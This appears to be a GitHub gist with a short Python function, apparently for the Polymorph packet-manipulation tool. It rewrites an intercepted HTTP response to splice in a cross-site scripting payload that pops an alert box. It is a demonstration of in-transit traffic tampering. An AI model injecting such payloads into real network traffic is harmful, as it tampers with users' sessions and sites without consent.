Skip to content

Instantly share code, notes, and snippets.

@shramos
Created April 23, 2018 14:02
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save shramos/18bee768611bd0cad13909dd80553282 to your computer and use it in GitHub Desktop.
Save shramos/18bee768611bd0cad13909dd80553282 to your computer and use it in GitHub Desktop.
def mod_http_val(packet):
data = packet['RAW.HTTP']['file_data']
payload = '"><script>alert("You just got pwned with Polymorph!")</script>'
plen = len(payload)
start = len(data) - plen + 1 - 16
stop = len(data) - 16
packet['RAW.HTTP']['file_data'] = data[:start] + payload + data[stop:]
return packet
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment